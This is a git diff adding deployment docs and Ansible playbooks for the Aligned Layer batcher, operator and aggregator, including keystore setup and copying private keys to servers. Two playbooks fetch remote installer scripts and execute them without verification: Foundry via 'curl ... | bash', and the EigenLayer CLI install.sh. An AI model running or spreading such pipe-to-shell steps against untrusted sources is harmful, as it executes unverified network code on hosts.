`caddy-batcher.ini` contains the following variables: + +| Variable | Description | Stage | Testnet | Mainnet | +|----------------|--------------------------------------|-----------------------------|-------------------------------|-----------------------| +| batcher_domain | Domain of the Batcher to send proofs | | | | + +> [!WARNING] +> You need to previously set the `batcher_domain` in your DNS provider to point to the Batcher IP. + +Deploy the Batcher: + +```shell +make ansible_batcher_deploy INVENTORY= KEYSTORE= +``` + +## Operator + +> [!IMPORTANT] +> You need to have previously created an ECDSA keystore with at least 1ETH and a BLS keystore. +> You can create keystore following this [guide](#How-to-Create-Keystores) +> The ECDSA keystore for the Operator must be created with the Eigenlayer CLI + +> [!CAUTION] +> To register the Operator in Aligned successfully, you need to have been whitelisted by the Aligned team previously. + +To deploy the Operator you need to set some variables and then run the Operator playbook. + +Create the variables files: + +```shell +make ansible_operator_create_env +``` + +This will create the following files in `infra/ansible/playbooks/ini`: + +- `config-operator.ini` +- `config-register-operator.ini` + +The `config-register-operator.ini` contains the variables to register the Operator in EigenLayer: + +| Variable | Description | Stage | Testnet | Mainnet | +|-------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------| +| address | ECDSA address of the Operator | | | | +| metadata_url | Operator Metadata. You can create one following this [guide](https://docs.eigenlayer.xyz/eigenlayer/operator-guides/operator-installation#operator-configuration-and-registration) | | | | +| el_delegation_manager_address | Delegation Manager Address | `0xA44151489861Fe9e3055d95adC98FbD462B948e7` | `0xA44151489861Fe9e3055d95adC98FbD462B948e7` | TBD | +| eth_rpc_url | HTTP RPC url | `https://ethereum-holesky-rpc.publicnode.com` | `https://ethereum-holesky-rpc.publicnode.com` | `https://ethereum-rpc.publicnode.com` | +| private_key_store_path | Path to the ECDSA keystore in the Operator host | `/home/app/.keystores/operator.ecdsa` | `/home/app/.keystores/operator.ecdsa` | `/home/app/.keystores/operator.ecdsa` | +| private_key_store_password | Password of the ECDSA keystore | | | | +| chain_id | Chain ID | 17000 | 17000 | 1 | +| weth_address | Address of wETH token | [0x94373a4919B3240D86eA41593D5eBa789FEF3848](https://holesky.etherscan.io/address/0x94373a4919B3240D86eA41593D5eBa789FEF3848) | [0x94373a4919B3240D86eA41593D5eBa789FEF3848](https://holesky.etherscan.io/address/0x94373a4919B3240D86eA41593D5eBa789FEF3848) | TBD | +| weth_strategy_address | Address of wETH token strategy | [0x80528D6e9A2BAbFc766965E0E26d5aB08D9CFaF9](https://holesky.eigenlayer.xyz/restake/WETH) | [0x80528D6e9A2BAbFc766965E0E26d5aB08D9CFaF9](https://holesky.eigenlayer.xyz/restake/WETH) | TBD | + +The `config-operator.ini` contains the variables to run the Operator in Aligned: + +| Variable | Description | Stage | Testnet | Mainnet | +|-------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------|------------------------------------------------| +| aligned_layer_deployment_config_file_path | JSON with Aligned contracts addresses | `/home/app/repos/operator/aligned_layer/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json` | `/home/app/repos/operator/aligned_layer/contracts/script/output/holesky/alignedlayer_deployment_output.json` | TBD | +| eigen_layer_deployment_config_file_path | JSON with EigenLayer contracts addresses | `/home/app/repos/operator/aligned_layer/contracts/script/output/holesky/eigenlayer_deployment_output.json` | `/home/app/repos/operator/aligned_layer/contracts/script/output/holesky/eigenlayer_deployment_output.json` | TBD | +| eth_rpc_url | HTTP RPC url | | | | +| eth_rpc_url_fallback | HTTP RPC fallback url. Must be different than `eth_rpc_url` | `https://ethereum-holesky-rpc.publicnode.com` | `https://ethereum-holesky-rpc.publicnode.com` | `https://ethereum-rpc.publicnode.com` | +| eth_ws_url | WS RPC url | | your_rpc_ws_provider> | | +| eth_ws_url_fallback | WS RPC fallback url. Must be different than `eth_ws_rpc_url` | `wss://ethereum-holesky-rpc.publicnode.com` | `wss://ethereum-holesky-rpc.publicnode.com` | `wss://ethereum-rpc.publicnode.com` | +| ecdsa_private_key_store_path | Path to the ECDSA keystore in the Operator host | `/home/app/.keystores/operator.ecdsa` | `/home/app/.keystores/operator.ecdsa` | `/home/app/.keystores/operator.ecdsa` | +| ecdsa_private_key_store_password | Password of the ECDSA keystore | | | | +| bls_private_key_store_path | Path to the BLS keystore in the Operator host | `/home/app/.keystores/operator.bls` | `/home/app/.keystores/operator.bls` | `/home/app/.keystores/operator.bls` | +| bls_private_key_store_password | Password of the BLS keystore | | | | +| aggregator_rpc_server_ip_port_address | Aggregator url | `stage.aggregator.alignedlayer.com:8090` | `aggregator.alignedlayer.com:8090` | TBD | +| operator_tracker_ip_port_address | Telemetry service url | `https://stage.telemetry.alignedlayer.com` | `https://holesky.telemetry.alignedlayer.com` | TBD | +| address | ECDSA address of the Operator | | | | +| metadata_url | Operator Metadata. You can create one following this [guide](https://docs.eigenlayer.xyz/eigenlayer/operator-guides/operator-installation#operator-configuration-and-registration) | | | | +| enable_metrics | Expose or not prometheus metrics | `true` | `true` | `true` | +| metrics_ip_port_address | Where to expose prometheus metrics if enabled | `localhost:9092` | `localhost:9092` | `localhost:9092` | +| last_processed_batch_filepath | Where to store the last processed batch for system recovery | `/home/app/operator.last_processed_batch.json` | `/home/app/operator.last_processed_batch.json` | `/home/app/operator.last_processed_batch.json` | + +Deploy the Operator: + +```shell +make ansible_operator_deploy INVENTORY= ECDSA_KEYSTORE= BLS_KEYSTORE= +``` +## Aggregator + +> [!IMPORTANT] +> You need to have previously created an ECDSA keystore with at least 1ETH and a BLS keystore. +> You can create keystore following this [guide](#How-to-Create-Keystores) + +To deploy the Aggregator you need to set some variables and then run the Aggregator playbook + +This will create the following file in `infra/ansible/playbooks/ini`: + +```shell +make ansible_aggregator_create_env +``` + +- `config-aggregator.ini` + +The `config-aggregator.ini` contains the variables to run the Operator in Aligned: + +| Variable | Description | Stage | Testnet | Mainnet | +|-------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------| +| aligned_layer_deployment_config_file_path | JSON with Aligned contracts addresses | `/home/app/repos/aggregator/aligned_layer/contracts/script/output/holesky/alignedlayer_deployment_output.stage.json` | `/home/app/repos/aggregator/aligned_layer/contracts/script/output/holesky/alignedlayer_deployment_output.json` | TBD | +| eigen_layer_deployment_config_file_path | JSON with EigenLayer contracts addresses | `/home/app/repos/aggregator/aligned_layer/contracts/script/output/holesky/eigenlayer_deployment_output.json` | `/home/app/repos/aggregator/aligned_layer/contracts/script/output/holesky/eigenlayer_deployment_output.json` | TBD | +| eth_rpc_url | HTTP RPC url | | | | +| eth_rpc_url_fallback | HTTP RPC fallback url. Must be different than `eth_rpc_url` | `https://ethereum-holesky-rpc.publicnode.com` | `https://ethereum-holesky-rpc.publicnode.com` | `https://ethereum-rpc.publicnode.com` | +| eth_ws_url | WS RPC url | | your_rpc_ws_provider> | | +| eth_ws_url_fallback | WS RPC fallback url. Must be different than `eth_ws_rpc_url` | `wss://ethereum-holesky-rpc.publicnode.com` | `wss://ethereum-holesky-rpc.publicnode.com` | `wss://ethereum-rpc.publicnode.com` | +| ecdsa_private_key_store_path | Path to the ECDSA keystore in the Operator host | `/home/app/.keystores/aggregator.ecdsa` | `/home/app/.keystores/aggregator.ecdsa` | `/home/app/.keystores/operator.ecdsa` | +| ecdsa_private_key_store_password | Password of the ECDSA keystore | | | | +| bls_private_key_store_path | Path to the BLS keystore in the Operator host | `/home/app/.keystores/aggregator.bls` | `/home/app/.keystores/aggregator.bls` | `/home/app/.keystores/operator.bls` | +| bls_private_key_store_password | Password of the BLS keystore | | | | +| enable_metrics | Expose or not prometheus metrics | `true` | `true` | `true` | +| metrics_ip_port_address | Where to expose prometheus metrics if enabled | `localhost:9092` | `localhost:9092` | `localhost:9092` | +| telemetry_ip_port_address | Where to send telemetry traces | `100.73.98.8:4001` | `100.91.67.33:4001` | TBD | + +Deploy the Aggregator: + +```shell +make ansible_aggregator_deploy INVENTORY= ECDSA_KEYSTORE= BLS_KEYSTORE= +``` +> [!Note] +> ECDSA_KEYSTORE and BLS_KEYSTORE are the paths of the keystores in your machine. + +# How to Create Keystores + +## Create ECDSA Keystore + +Make sure you have installed: + +- [Foundry](https://book.getfoundry.sh/getting-started/installation) + +Now you can create the ECDSA keystore using the following command: + +```shell +cast wallet new . +``` + +It will prompt you for a password and will save the keystore in your current directory. + +If everything is okay, you will get the following output: + +``` +Created new encrypted keystore file: /your/current/path/f2e73ef1-d365-43b5-8818-07d6f7a254d4 +Address: 0x... +``` + +Refer to this link for more details about keystore creation https://book.getfoundry.sh/reference/cast/cast-wallet-new + +## Create ECDSA for Operator + +Make sure you have installed: + +- [Eigenlayer CLI](https://docs.eigenlayer.xyz/eigenlayer/operator-guides/operator-installation) + +Now you can create the ECDSA keystore using the following command: + +```shell +eigenlayer operator keys create --key-type ecdsa +``` +It will prompt for a password and will save the keystore in `$HOME/.eigenlayer/operator_keys/`. + +If everything is okay, you will get the following output: + +``` +ECDSA Private Key (Hex): + +//////////////////////////////////////////////////////////////////////////// +// // +// ... // +// // +//////////////////////////////////////////////////////////////////////////// + +🔐 Please backup the above private key hex in a safe place 🔒 +``` + +And then, + +``` + +Key location: $HOME/.eigenlayer/operator_keys/.ecdsa.key.json +Public Key hex: ... +Ethereum Address: 0x... + +``` + +Refer to this link for more details about keystore creation https://docs.eigenlayer.xyz/eigenlayer/operator-guides/operator-installation#create-keys + +## Create BLS Keystore + +Make sure you have installed: + +- [Eigenlayer CLI](https://docs.eigenlayer.xyz/eigenlayer/operator-guides/operator-installation) + +Now you can create the BLS keystore using the following command: + +```shell +eigenlayer operator keys create --key-type bls +``` +It will prompt for a password and will save the keystore in `$HOME/.eigenlayer/operator_keys/`. + +If everything is okay, you will get the following output: + +``` +BLS Private Key (Hex): + +///////////////////////////////////////////////////////////////////////////////////////// +// // +// ... // +// // +///////////////////////////////////////////////////////////////////////////////////////// + +🔐 Please backup the above private key hex in a safe place 🔒 +``` + +And then, + +``` +Key location: $HOME/.eigenlayer/operator_keys/.bls.key.json +Public Key: E([...,...]) +``` + +Refer to this link for more details about keystore creation https://docs.eigenlayer.xyz/eigenlayer/operator-guides/operator-installation#create-keys + diff --git a/infra/ansible/aggregator.yaml b/infra/ansible/aggregator.yaml new file mode 100644 index 000000000..76d6b2da8 --- /dev/null +++ b/infra/ansible/aggregator.yaml @@ -0,0 +1,61 @@ +- import_playbook: setup.yaml +- import_playbook: go.yaml +- import_playbook: rust.yaml +- import_playbook: eigenlayer-cli.yaml + +- hosts: aggregator + vars: + service: "aggregator" + + tasks: + - name: Update apt and install required system packages + become: true + apt: + pkg: + - pkg-config + - libssl-dev + - gcc + state: latest + update_cache: true + + - name: Create directories for each service if do not exist + become: true + ansible.builtin.file: + path: /home/{{ app_user }}/repos/{{ service }} + state: directory + mode: '0755' + owner: '{{ app_user }}' + group: '{{ app_user }}' + loop: + - aggregator + + - name: Clone Aligned repository + become: true + ansible.builtin.git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ app_user }}/repos/{{ service }}/aligned_layer + version: v0.10.2 + loop: + - aggregator + + - name: Set permissions for cloned repository + become: true + ansible.builtin.file: + path: /home/{{ app_user }}/repos/{{ service }}/aligned_layer + mode: '0755' + owner: '{{ app_user }}' + group: '{{ app_user }}' + recurse: yes + + - name: Compile all FFIs + become: true + shell: + chdir: /home/{{ app_user }}/repos/aggregator/aligned_layer + cmd: sudo -u {{ app_user }} . /home/{{ app_user }}/.profile && sudo -u {{ app_user }} make build_all_ffi_linux + + - name: Allow access to tcp port 8090 + become: true + ufw: + rule: allow + port: 8090 + proto: tcp diff --git a/infra/ansible/playbooks/aggregator.yaml b/infra/ansible/playbooks/aggregator.yaml new file mode 100644 index 000000000..599f6e76e --- /dev/null +++ b/infra/ansible/playbooks/aggregator.yaml @@ -0,0 +1,116 @@ +- name: Run setup playbook + ansible.builtin.import_playbook: setup.yaml + vars: + host: aggregator + +- name: Run go playbook + ansible.builtin.import_playbook: go.yaml + vars: + host: aggregator + +- hosts: aggregator + vars: + service: "aggregator" + + tasks: + - name: Update apt and install required system packages + become: true + apt: + pkg: + - pkg-config + - libssl-dev + state: latest + update_cache: true + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Create directories for each service if do not exist + file: + path: /home/{{ ansible_user }}/repos/{{ service }} + state: directory + mode: '0755' + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + loop: + - aggregator + + - name: Clone Aligned repository + git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ ansible_user }}/repos/{{ service }}/aligned_layer + version: v0.10.2 + loop: + - aggregator + + - name: Set permissions for cloned repository + file: + path: /home/{{ ansible_user }}/repos/{{ service }}/aligned_layer + mode: '0755' + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + recurse: yes + + - name: Copy ECDSA keystore to server + copy: + src: '{{ ecdsa_keystore_path }}' + dest: /home/{{ ansible_user }}/.keystores/aggregator.ecdsa + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + - name: Copy BLS keystore to server + copy: + src: '{{ bls_keystore_path }}' + dest: /home/{{ ansible_user }}/.keystores/aggregator.bls + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + - name: Build aggregator + shell: + chdir: /home/{{ ansible_user }}/repos/aggregator/aligned_layer/ + cmd: /usr/local/go/bin/go build -o /home/{{ ansible_user }}/repos/aggregator/aligned_layer/build/aligned-aggregator /home/{{ ansible_user }}/repos/aggregator/aligned_layer/aggregator/cmd/main.go + + - name: Upload config file for aggregator + template: + src: config-files/config-aggregator.yaml.j2 + dest: "/home/{{ ansible_user }}/config/config-aggregator.yaml" + vars: + aligned_layer_deployment_config_file_path: "{{ lookup('ini', 'aligned_layer_deployment_config_file_path', file='ini/config-aggregator.ini') }}" + eigen_layer_deployment_config_file_path: "{{ lookup('ini', 'eigen_layer_deployment_config_file_path', file='ini/config-aggregator.ini') }}" + eth_rpc_url: "{{ lookup('ini', 'eth_rpc_url', file='ini/config-aggregator.ini') }}" + eth_rpc_url_fallback: "{{ lookup('ini', 'eth_rpc_url_fallback', file='ini/config-aggregator.ini') }}" + eth_ws_url: "{{ lookup('ini', 'eth_ws_url', file='ini/config-aggregator.ini') }}" + eth_ws_url_fallback: "{{ lookup('ini', 'eth_ws_url_fallback', file='ini/config-aggregator.ini') }}" + ecdsa_private_key_store_path: "{{ lookup('ini', 'ecdsa_private_key_store_path', file='ini/config-aggregator.ini') }}" + ecdsa_private_key_store_password: "{{ lookup('ini', 'ecdsa_private_key_store_password', file='ini/config-aggregator.ini') }}" + bls_private_key_store_path: "{{ lookup('ini', 'bls_private_key_store_path', file='ini/config-aggregator.ini') }}" + bls_private_key_store_password: "{{ lookup('ini', 'bls_private_key_store_password', file='ini/config-aggregator.ini') }}" + enable_metrics: "{{ lookup('ini', 'enable_metrics', file='ini/config-aggregator.ini') }}" + metrics_ip_port_address: "{{ lookup('ini', 'metrics_ip_port_address', file='ini/config-aggregator.ini') }}" + telemetry_ip_port_address: "{{ lookup('ini', 'telemetry_ip_port_address', file='ini/config-aggregator.ini') }}" + + - name: Allow access to tcp port 8090 + become: true + ufw: + rule: allow + port: 8090 + proto: tcp + vars: + ansible_ssh_user: "{{ admin_user }}" + + - name: Create systemd services directory + file: + path: "/home/{{ ansible_user }}/.config/systemd/user/" + state: directory + + - name: Add service to systemd + template: + src: services/aggregator.service.j2 + dest: "/home/{{ ansible_user }}/.config/systemd/user/aggregator.service" + force: no + + - name: Start aggregator service + systemd_service: + name: aggregator + state: started + enabled: true + scope: user diff --git a/infra/ansible/playbooks/avs-sync.yaml b/infra/ansible/playbooks/avs-sync.yaml new file mode 100644 index 000000000..272ba65ae --- /dev/null +++ b/infra/ansible/playbooks/avs-sync.yaml @@ -0,0 +1,16 @@ +- import_playbook: setup.yaml +- import_playbook: go.yaml + +- hosts: aligned-holesky-others + become: true + vars: + user: "{{ user }}" + + tasks: + # Clone avs-sync repository + - name: Clone Aligned repository + ansible.builtin.git: + repo: https://github.com/Layr-Labs/avs-sync.git + dest: /home/{{ user }}/repos/avs-sync + become_user: "{{ user }}" + diff --git a/infra/ansible/playbooks/batcher.yaml b/infra/ansible/playbooks/batcher.yaml new file mode 100644 index 000000000..2a1c1cb71 --- /dev/null +++ b/infra/ansible/playbooks/batcher.yaml @@ -0,0 +1,141 @@ +- name: Run setup playbook + ansible.builtin.import_playbook: setup.yaml + vars: + host: batcher + +- name: Run webserver playbook + ansible.builtin.import_playbook: webserver.yaml + vars: + host: batcher + +- name: Run go playbook + ansible.builtin.import_playbook: go.yaml + vars: + host: batcher + +- name: Run rust playbook + ansible.builtin.import_playbook: rust.yaml + vars: + host: batcher + +- name: Run eigenlayer-cli playbook + ansible.builtin.import_playbook: eigenlayer-cli.yaml + vars: + host: batcher + +- hosts: batcher + + tasks: + # Install required packages + - name: Update apt and install required system packages + become: true + apt: + pkg: + - pkg-config + - libssl-dev + state: latest + update_cache: true + vars: + ansible_ssh_user: "{{ admin_user }}" + + # Create directories for each service + - name: Create directories for each service if do not exist + ansible.builtin.file: + path: /home/{{ ansible_user }}/repos/batcher + state: directory + mode: '0755' + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + # Clone Aligned repository for the service + - name: Clone Aligned repository + ansible.builtin.git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ ansible_user }}/repos/batcher/aligned_layer + version: v0.10.2 + recursive: false + + # Build the batcher + - name: Install deps + make: + chdir: /home/{{ ansible_user }}/repos/batcher/aligned_layer + target: deps + environment: + PATH: "{{ ansible_env.PATH }}:/usr/local/go/bin:/home/{{ ansible_user }}/.cargo/bin" + + - name: Install batcher + make: + chdir: /home/{{ ansible_user }}/repos/batcher/aligned_layer + target: install_batcher + environment: + PATH: "{{ ansible_env.PATH }}:/usr/local/go/bin:/home/{{ ansible_user }}/.cargo/bin" + + - name: Create systemd services directory + file: + path: "/home/{{ ansible_user }}/.config/systemd/user/" + state: directory + + - name: Add service to systemd + template: + src: services/batcher.service.j2 + dest: "/home/{{ ansible_user }}/.config/systemd/user/batcher.service" + force: no + + - name: Upload config file for batcher + template: + src: config-files/config-batcher.yaml.j2 + dest: "/home/{{ ansible_user }}/config/config-batcher.yaml" + vars: + aligned_layer_deployment_config_file_path: "{{ lookup('ini', 'aligned_layer_deployment_config_file_path', file='ini/config-batcher.ini') }}" + eigen_layer_deployment_config_file_path: "{{ lookup('ini', 'eigen_layer_deployment_config_file_path', file='ini/config-batcher.ini') }}" + eth_rpc_url: "{{ lookup('ini', 'eth_rpc_url', file='ini/config-batcher.ini') }}" + eth_rpc_url_fallback: "{{ lookup('ini', 'eth_rpc_url_fallback', file='ini/config-batcher.ini') }}" + eth_ws_url: "{{ lookup('ini', 'eth_ws_url', file='ini/config-batcher.ini') }}" + eth_ws_url_fallback: "{{ lookup('ini', 'eth_ws_url_fallback', file='ini/config-batcher.ini') }}" + ecdsa_private_key_store_path: "/home/{{ ansible_user }}/.keystores/batcher" + ecdsa_private_key_store_password: "{{ lookup('ini', 'ecdsa_private_key_store_password', file='ini/config-batcher.ini') }}" + telemetry_ip_port_address: "{{ lookup('ini', 'telemetry_ip_port_address', file='ini/config-batcher.ini') }}" + batcher_replacement_private_key: "{{ lookup('ini', 'batcher_replacement_private_key', file='ini/config-batcher.ini') }}" + + - name: Upload env file for batcher + template: + src: config-files/env-batcher.j2 + dest: "/home/{{ ansible_user }}/config/.env.batcher" + vars: + secret_access_key: "{{ lookup('ini', 'secret_access_key', file='ini/env-batcher.ini') }}" + region: "{{ lookup('ini', 'region', file='ini/env-batcher.ini') }}" + access_key_id: "{{ lookup('ini', 'access_key_id', file='ini/env-batcher.ini') }}" + bucket_name: "{{ lookup('ini', 'bucket_name', file='ini/env-batcher.ini') }}" + download_endpoint: "{{ lookup('ini', 'download_endpoint', file='ini/env-batcher.ini') }}" + log_level: "{{ lookup('ini', 'log_level', file='ini/env-batcher.ini') }}" + + - name: Add reverse proxy to Caddy + become: true + template: + src: caddy/Caddyfile.batcher.j2 + dest: "/etc/caddy/Caddyfile" + vars: + ansible_ssh_user: "{{ admin_user }}" + batcher_domain: "{{ lookup('ini', 'batcher_domain', file='ini/caddy-batcher.ini') }}" + + - name: Copy keystore to server + ansible.builtin.copy: + src: '{{ keystore_path }}' + dest: /home/{{ ansible_user }}/.keystores/batcher + owner: '{{ ansible_user }}' + group: '{{ ansible_user }}' + + - name: Start Batcher service + ansible.builtin.systemd_service: + name: batcher + state: started + enabled: true + scope: user + + - name: Restart Caddy service + become: true + ansible.builtin.systemd_service: + name: caddy + state: restarted + vars: + ansible_ssh_user: "{{ admin_user }}" diff --git a/infra/ansible/playbooks/docker.yaml b/infra/ansible/playbooks/docker.yaml new file mode 100644 index 000000000..e0ee3b4c1 --- /dev/null +++ b/infra/ansible/playbooks/docker.yaml @@ -0,0 +1,47 @@ +- name: Docker Setup + hosts: all + become: true + vars: + user: "{{ user }}" + + tasks: + - name: Install required system packages + apt: + pkg: + - apt-transport-https + - ca-certificates + - curl + - software-properties-common + - python3-pip + - virtualenv + - python3-setuptools + state: latest + update_cache: true + + - name: Add Docker GPG apt Key + apt_key: + url: https://download.docker.com/linux/ubuntu/gpg + state: present + + - name: Add Docker Repository + apt_repository: + repo: deb https://download.docker.com/linux/ubuntu focal stable + state: present + + - name: Update apt and install docker-ce + apt: + name: docker-ce + state: latest + update_cache: true + + - name: Ensure group "docker" exists + ansible.builtin.group: + name: docker + state: present + + - name: Add user to docker group + user: + name: "{{ user }}" + groups: docker + append: yes + state: present diff --git a/infra/ansible/playbooks/eigenlayer-cli.yaml b/infra/ansible/playbooks/eigenlayer-cli.yaml new file mode 100644 index 000000000..76cb296cb --- /dev/null +++ b/infra/ansible/playbooks/eigenlayer-cli.yaml @@ -0,0 +1,26 @@ +- name: Eigenlayer CLI Setup + hosts: "{{ host }}" + + tasks: + - name: check if eigenlayer is installed + stat: + path: /home/{{ ansible_user }}/bin/eigenlayer + register: eigenlayer_exists + + - name: Download Eigenlayer CLI + when: not eigenlayer_exists.stat.exists + get_url: + url: https://raw.githubusercontent.com/layr-labs/eigenlayer-cli/master/scripts/install.sh + dest: /tmp/eigenlayer.sh + mode: '0755' + + - name: Install Eigenlayer CLI + when: not eigenlayer_exists.stat.exists + shell: /tmp/eigenlayer.sh + + - name: Add eigenlayer path to ~/.profile + when: not eigenlayer_exists.stat.exists + lineinfile: + path: ~/.profile + line: 'export PATH=$PATH:~/bin' + state: present diff --git a/infra/ansible/playbooks/elixir.yaml b/infra/ansible/playbooks/elixir.yaml new file mode 100644 index 000000000..b2d240d19 --- /dev/null +++ b/infra/ansible/playbooks/elixir.yaml @@ -0,0 +1,69 @@ +- name: Elixir Setup + hosts: all + become: true + vars: + user: "{{ user }}" + erlang_version: 26.0 + elixir_version: 1.16.2-otp-26 + + tasks: + # Install required packages + - name: Update apt and install required system packages + apt: + pkg: + - build-essential + - autoconf + - m4 + - libncurses5-dev + - libwxgtk3.0-gtk3-dev + - libwxgtk-webview3.0-gtk3-dev + - libgl1-mesa-dev + - libglu1-mesa-dev + - libpng-dev + - libssh-dev + - unixodbc-dev + - xsltproc + - fop + - libxml2-utils + - libncurses-dev + - openjdk-11-jdk + state: latest + update_cache: true + + - name: Clone asdf repository into ~/.asdf + ansible.builtin.git: + name: https://github.com/asdf-vm/asdf.git + dest: ~/.asdf + single_branch: yes + version: v0.14.0 + become_user: "{{ user }}" + + - name: Insert lines to ~/.bashrc to source asdf + ansible.builtin.blockinfile: + path: "/home/{{ user }}/.bashrc" + block: | + . "$HOME/.asdf/asdf.sh" + . "$HOME/.asdf/completions/asdf.bash" + become_user: "{{ user }}" + +# - name: Add asdf to the shell +# shell: export ASDF_DIR="$HOME/.asdf" && . ~/.asdf/asdf.sh +# become_user: "{{ user }}" + + - name: Add Erlang plugin to asdf + shell: asdf plugin add erlang + + - name: Add Erlang version to asdf + shell: asdf install erlang {{ erlang_version }} + + - name: Set Erlang version as global + shell: asdf global erlang {{ erlang_version }} + + - name: Add Elixir plugin to asdf + shell: asdf plugin add elixir + + - name: Add Elixir version to asdf + shell: asdf install elixir {{ elixir_version }} + + - name: Set Elixir version as global + shell: asdf global elixir {{ elixir_version }} diff --git a/infra/ansible/playbooks/explorer.yaml b/infra/ansible/playbooks/explorer.yaml new file mode 100644 index 000000000..02d399158 --- /dev/null +++ b/infra/ansible/playbooks/explorer.yaml @@ -0,0 +1,43 @@ +- import_playbook: setup.yaml +- import_playbook: webserver.yaml +#- import_playbook: elixir.yaml # Not working +#- import_playbook: docker.yaml + +- hosts: aligned-holesky-explorer + become: true + vars: + user: "{{ user }}" + + tasks: + # Install required packages + - name: Update apt and install required system packages + apt: + pkg: + - unzip + state: latest + update_cache: true + + # Create directories for each service + - name: Create directories for each service if do not exist + ansible.builtin.file: + path: /home/{{ user }}/repos/{{ item }} + state: directory + mode: '0755' + become_user: "{{ user }}" + loop: + - explorer + + # Clone Aligned repository for each service + - name: Clone Aligned repository + ansible.builtin.git: + repo: https://github.com/yetanotherco/aligned_layer.git + dest: /home/{{ user }}/repos/{{ item }}/aligned_layer + version: v0.10.2 + become_user: "{{ user }}" + loop: + - explorer + register: repo_clone + failed_when: + - repo_clone.failed + - not 'Local modifications exist in the destination' in repo_clone.msg + diff --git a/infra/ansible/playbooks/foundry.yaml b/infra/ansible/playbooks/foundry.yaml new file mode 100644 index 000000000..51812422d --- /dev/null +++ b/infra/ansible/playbooks/foundry.yaml @@ -0,0 +1,12 @@ +- name: Foundry Setup + hosts: "{{ host }}" + + tasks: + + - name: Download Foundry + shell: + cmd: curl -L https://foundry.paradigm.xyz | bash + + - name: Run Foundryup + shell: + cmd: /home/{{ ansible_user }}/.foundry/bin/foundryup diff --git a/infra/ansible/playbooks/go.yaml b/infra/ansible/playbooks/go.yaml new file mode 100644 index 000000000..12485aeb0 --- /dev/null +++ b/infra/ansible/playbooks/go.yaml @@ -0,0 +1,48 @@ +# https://everythingcoding.in/go-setup-through-ansible/ +- name: Go Setup + hosts: "{{ host }}" + vars: + version: 1.22.2 + + tasks: + - name: check if go is installed + stat: + path: /usr/local/go/bin/go + register: go_exists + + - name: get golang download link + set_fact: + go_download_url: >- + {% if ansible_architecture == 'x86_64' %} + https://go.dev/dl/go{{ version }}.linux-amd64.tar.gz + {% elif ansible_architecture == 'aarch64' %} + https://go.dev/dl/go{{ version }}.linux-arm64.tar.gz + {% endif %} + + - name: download Go tarball + when: not go_exists.stat.exists + get_url: + url: "{{ go_download_url }}" + dest: "/tmp/{{ go_download_url | basename }}" + mode: '0755' + + - name: install Go + when: not go_exists.stat.exists + ansible.builtin.unarchive: + src: "/tmp/{{ go_download_url | basename }}" + dest: /usr/local/ + remote_src: yes + become: yes + vars: + ansible_ssh_user: admin + + - name: update user PATH + when: not go_exists.stat.exists + lineinfile: + path: "/home/{{ ansible_user }}/.bashrc" + line: "{{ item }}" + state: present + with_items: + - 'export PATH=$PATH:/usr/local/go/bin' + - 'export GOPATH=$HOME/go' + - 'export PATH=$PATH:$GOPATH/bin' diff --git a/infra/ansible/playbooks/ini/caddy-batcher.ini.example b/infra/ansible/playbooks/ini/caddy-batcher.ini.example new file mode 100644 index 000000000..0d202f527 --- /dev/null +++ b/infra/ansible/playbooks/ini/caddy-batcher.ini.example @@ -0,0 +1,2 @@ +[global] +batcher_domain= diff --git a/infra/ansible/playbooks/ini/config-aggregator.ini.example b/infra/ansible/playbooks/ini/config-aggregator.ini.example new file mode 100644 index 000000000..6c01c1c1b --- /dev/null +++ b/infra/ansible/playbooks/ini/config-aggregator.ini.example @@ -0,0 +1,14 @@ +[global] +aligned_layer_deployment_config_file_path= +eigen_layer_deployment_config_file_path= +eth_rpc_url= +eth_rpc_url_fallback= +eth_ws_url= +eth_ws_url_fallback= +ecdsa_private_key_store_path= +ecdsa_private_key_store_password= +bls_private_key_store_path= +bls_private_key_store_password= +enable_metrics= +metrics_ip_port_address= +telemetry_ip_port_address= diff --git a/infra/ansible/playbooks/ini/config-batcher.ini.example b/infra/ansible/playbooks/ini/config-batcher.ini.example new file mode 100644 index 000000000..738b6cdca --- /dev/null +++ b/infra/ansible/playbooks/ini/config-batcher.ini.example @@ -0,0 +1,12 @@ +[global] +aligned_layer_deployment_config_file_path= +eigen_layer_deployment_config_file_path= +eth_rpc_url= +eth_rpc_url_fallback= +eth_ws_url= +eth_ws_url_fallback= + +ecdsa_private_key_store_password= + +telemetry_ip_port_address= +batcher_replacement_private_key= diff --git a/infra/ansible/playbooks/ini/config-operator.ini.example b/infra/ansible/playbooks/ini/config-operator.ini.example new file mode 100644 index 000000000..f3a19564c --- /dev/null +++ b/infra/ansible/playbooks/ini/config-operator.ini.example @@ -0,0 +1,21 @@ +[global] +aligned_layer_deployment_config_file_path= +eigen_layer_deployment_config_file_path= +eth_rpc_url= +eth_rpc_url_fallback= +eth_ws_url= +eth_ws_url_fallback= + +ecdsa_private_key_store_path= +ecdsa_private_key_store_password= + +bls_private_key_store_path= +bls_private_key_store_password= + +aggregator_rpc_server_ip_port_address= +operator_tracker_ip_port_address= +address= +metadata_url= +enable_metrics= +metrics_ip_port_address= +last_processed_batch_filepath= diff --git a/infra/ansible/playbooks/ini/config-register-operator.ini.example b/infra/ansible/playbooks/ini/config-register-operator.ini.example new file mode 100644 index 000000000..b7f321a2d --- /dev/null +++ b/infra/ansible/playbooks/ini/config-register-operator.ini.example @@ -0,0 +1,10 @@ +[global] +address= +metadata_url= +el_delegation_manager_address= +eth_rpc_url= 